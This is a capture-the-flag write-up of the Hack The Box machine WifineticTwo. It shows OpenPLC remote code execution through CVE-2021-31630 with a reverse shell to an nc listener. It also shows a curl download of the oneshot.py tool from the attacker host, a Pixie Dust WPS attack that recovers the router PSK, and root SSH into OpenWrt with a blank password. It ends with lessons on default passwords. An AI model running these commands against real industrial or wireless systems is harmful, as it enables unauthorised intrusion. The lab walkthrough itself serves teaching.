WifineticTwo is a medium difficulty Linux machine that features vulnerabilities in OpenPLC and a WPS attack which is especially interesting for a HTB machine! Let’s dive in!
Gaining user access
Since this box is based more around a hardware scenario we (unusually for HTB) don’t find anything on port 80 - so lets fire off quick nmap to see what else exists!
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy Werkzeug/1.0.1 Python/2.7.18
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://10.10.11.7:8080/login
<...SNIP...>
Well, there’s not too much here, but we do find a web server on 8080 - its Werkzeug which tells us python, but not much else. Que some visual inspection and I find that OpenPLC is running here.
OpenPLC is an exciting open-source project which allows you to program and control industrial equipment, like PLCs (Programmable Logic Controllers), using a simple and intuitive interface. In theory this is great - reducing barriers to entry in industries which are generally closed-source dominated can be highly beneficial - OpenPLC for example, makes it easy to create custom automation solutions that streamline processes and boost productivity without building a solution from scratch. At the same time, the guys over in industrial automation aren’t always security focused, and, as a result…
Yes, I’m afraid just like that, we are in! From a security perspective this is already a disaster, the default user has rights to run programs, and upload new ones, so can we write one which will give us a shell…
In fact, this time around we don’t even need to, because Fellipe Oliveira already did a great job here: https://github.com/thewhiteh4t/cve-2021-31630
--- CVE-2021-31630 -----------------------------
--- OpenPLC WebServer v3 - Authenticated RCE ---
\------------------------------------------------
[>] Found By : Fellipe Oliveira
[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]
[>] Target : http://10.129.223.213:8080
[>] Username : openplc
[>] Password : openplc
[>] Timeout : 20 secs
[>] LHOST : 10.10.14.34
[>] LPORT : 7777
[!] Checking status...
[+] Service is Online!
[!] Logging in...
[+] Logged in!
[!] Restoring default program...
[+] PLC Stopped!
[+] Cleanup successful!
[!] Uploading payload...
[+] Payload uploaded!
[+] Waiting for 5 seconds...
[+] Compilation successful!
[!] Starting PLC...
└──╼ **$**nc -nvlp 7777
listening on [any] 7777 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.223.213] 40344
bash: cannot set terminal process group (177): Inappropriate ioctl for device
bash: no job control in this shell
root@attica01:/opt/PLC/OpenPLC_v3/webserver# whoami
whoami
root
root@attica01:/opt/PLC/OpenPLC_v3/webserver#
The exploit really just uploads some C code and executes it, but the C shell included is non blocking and spawns in the background which is nice! :)
From here we can change to the root directory and get the user flag - user because of course this is actually a container, which we now need to get out of:
root@attica02:/# cat /proc/1/environ
container=lxccontainer_ttys=
Privilege escalation to root
I enumerated this box for a while, but the only thing which really jumps out is the presence of a wireless LAN interface, which is:
1 - Sort of unusual in a container
2 - Clearly related to the name of the box (Serious point here, CTFs are often a bit contrived so it’s certainly not cheating to use any context clues you’re given!)
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 00:16:3e:fc:91:0c brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.0.3.2/24 brd 10.0.3.255 scope global eth0
valid_lft forever preferred_lft forever
inet 10.0.3.52/24 metric 100 brd 10.0.3.255 scope global secondary dynamic eth0
valid_lft 2345sec preferred_lft 2345sec
inet6 fe80::216:3eff:fefc:910c/64 scope link
valid_lft forever preferred_lft forever
5: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000
link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff
So we have a wireless interface, but its currently in the down state, meaning we’re not connected to anything - can we find any wireless networks to connect to? iw list says yes!:
wlan0 Scan completed :
Cell 01 - Address: 02:00:00:00:01:00
Channel:1
Frequency:2.412 GHz (Channel 1)
Quality=70/70 Signal level=-30 dBm
Encryption key:on
ESSID:"plcrouter"
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s
Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master
And iw scan also reveals some interesting information, including, critically, that WPS is currently enabled. Now, time for honesty - I would probably have gotten stuck here but for the fact I’d literally just finished reading about the workings of the “Pixie dust” attack (learn more here: https://forums.kali.org/archived/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack) ) which, it just so happens, will work here.
root@attica02:/# iw wlan0 scan
BSS 02:00:00:00:01:00(on wlan0)
last seen: 2739.320s [boottime]
TSF: 1722071149860324 usec (19931d, 09:05:49)
freq: 2412
beacon interval: 100 TUs
capability: ESS Privacy ShortSlotTime (0x0411)
signal: -30.00 dBm
last seen: 0 ms ago
Information elements from Probe Response frame:
SSID: plcrouter
Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0
DS Parameter set: channel 1
ERP: Barker_Preamble_Mode
Extended supported rates: 24.0 36.0 48.0 54.0
RSN: * Version: 1
* Group cipher: CCMP
* Pairwise ciphers: CCMP
* Authentication suites: PSK
* Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000)
Supported operating classes:
* current operating class: 81
Extended capabilities:
* Extended Channel Switching
* SSID List
* Operating Mode Notification
WPS: * Version: 1.0 <---- Interesting!
* Wi-Fi Protected Setup State: 2 (Configured)
* Response Type: 3 (AP)
* UUID: 572cf82f-c957-5653-9b16-b5cfb298abf1
* Manufacturer:
* Model:
* Model Number:
* Serial Number:
* Primary Device Type: 0-00000000-0
* Device name:
* Config methods: Label, Display, Keypad
* Version2: 2.0
While the workings of this attack are complex, as a would-be attacker we don’t have to care since we can rely on the fantastic oneshot.py script which will do the heavy lifting for us. We’ll first transfer the script:
root@attica01:~# curl http://10.10.14.34:8080/oneshot.py > oneshot.py
curl http://10.10.14.34:8080/oneshot.py > oneshot.py
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 53267 100 53267 0 0 239k 0 --:--:-- --:--:-- --:--:-- 238k
root@attica01:~# chmod +x oneshot.py
chmod +x oneshot.py
Give it execute permissions and pass it the wlan interface we alrready discovered as an argument
root@attica01:~# ./oneshot.py -i wlan0
./oneshot.py -i wlan0
[*] Running wpa_supplicant…
[*] BSSID not specified (--bssid) — scanning for available networks
Networks list:
\# BSSID ESSID Sec. PWR WSC device name WSC model
1) 02:00:00:00:01:00 plcrouter WPA2 -30
Select target (press Enter to refresh): 1
[*] Running wpa_supplicant…
[*] Trying PIN '12345670'…
[*] Scanning…
[*] Authenticating…
[+] Authenticated
[*] Associating with AP…
[+] Associated with 02:00:00:00:01:00 (ESSID: plcrouter)
[*] Received Identity Request
[*] Sending Identity Response…
[*] Received WPS Message M1
[*] Sending WPS Message M2…
[*] Received WPS Message M3
[*] Sending WPS Message M4…
[*] Received WPS Message M5
[+] The first half of the PIN is valid
[*] Sending WPS Message M6…
[*] Received WPS Message M7
[+] WPS PIN: '12345670'
[+] WPA PSK: 'NoWWEDoKnowWhaTisReal123!'
[+] AP SSID: 'plcrouter'
root@attica01:~#
Now that we know the shared key, we can set up a WPA supplicant and try to connect to the network - we first put the details into a config file, then establish the connection with wpa_supplicant -B
root@attica01:/opt/PLC# wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123!' > config
<rase plcrouter 'NoWWEDoKnowWhaTisReal123!' > config
root@attica01:/opt/PLC# wpa_supplicant -B -c config -i wlan0
wpa_supplicant -B -c config -i wlan0
Successfully initialized wpa_supplicant
It looks like that worked - we can quickly verify:
root@attica02:/tmp# iwconfig wlan0
wlan0 IEEE 802.11 ESSID:"plcrouter"
Mode:Managed Frequency:2.412 GHz Access Point: 02:00:00:00:01:00
Bit Rate:54 Mb/s Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
Link Quality=70/70 Signal level=-30 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:9 Missed beacon:0
Were connected, but apparently dhcp isn’t running and we haven’t been assigned an IP address - let’s just configure one manually while avoiding 192.168.1.1 which is almost certainly the router itself.
root@attica01:/opt/PLC# ifconfig wlan0 192.168.1.5 netmask 255.255.255.0
ifconfig wlan0 192.168.1.5 netmask 255.255.255.0
Now that we’re on the network, let’s gather a bit more information about the router…
root@attica01:~# curl 192.168.1.1
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<meta http-equiv="refresh" content="0; URL=cgi-bin/luci/" />
<style type="text/css">
body { background: white; font-family: arial, helvetica, sans-serif; }
a { color: black; }
@media (prefers-color-scheme: dark) {
body { background: black; }
a { color: white; }
}
</style>
</head>
<body>
<a href="cgi-bin/luci/">LuCI - Lua Configuration Interface</a>
</body>
</html>
Humm, well that’s interesting - the LuCI Lua Configuration Interface is part of OpenWRT, an open source routing platform. By default, OpenWRT is also pretty lax with passwords, in fact, if I remember correctly the root password is just blank….
root@attica01:/opt/PLC# ssh root@192.168.1.1
ssh root@192.168.1.1
Pseudo-terminal will not be allocated because stdin is not a terminal.
Host key verification failed.
root@attica01:/opt/PLC# python3 -c "import pty; pty.spawn('/bin/bash')"
python3 -c "import pty; pty.spawn('/bin/bash')"
root@attica01:/opt/PLC# ssh root@192.168.1.1
ssh root@192.168.1.1
The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
ED25519 key fingerprint is SHA256:ZcoOrJ2dytSfHYNwN2vcg6OsZjATPopYMLPVYhczadM.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Warning: Permanently added '192.168.1.1' (ED25519) to the list of known hosts.
BusyBox v1.36.1 (2023-11-14 13:38:11 UTC) built-in shell (ash)
_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
\-----------------------------------------------------
OpenWrt 23.05.2, r23630-842932a63d
\-----------------------------------------------------
=== WARNING! =====================================
There is no root password defined on this device!
Use the "passwd" command to set up a new password
in order to prevent unauthorized SSH logins.
\--------------------------------------------------
root@ap:~# ls
ls
root.txt
root@ap:~# cd /root
cd /root
root@ap:~# cat root.txt
cat root.txt
51a6fc2a20efda3626f1483e9babedb4
root@ap:~#
Shoot it worked! Two default passwords on one box!
Avoiding the Hack - Lessons learned
So let’s now take a look at the vulnerabilities we found, and how they could have been avoided, although this time the lesson seems pretty clear!
Never, ever, ever leave a default password on a device! New legislation is finally coming into place worldwide which obliges manufacturers to ship new devices with better, “Unique”* passwords but you should never keep these hanging around. This is a terrible idea from a security perspective, but also from an ops point of view - it’s easy to look at the code on the bottom of the router now, but perhaps not once you’ve shipped it out to a branch office.
** Dear hardware manufacturers -hashing the device ID, product number or anything else written on the case and using the beginning or end portion as a password does not count as secure, even it’ is technically unique. Sort of. MD5 doesn’t really meet that criteria either. A CRC certainly doesn’t. Rant over :)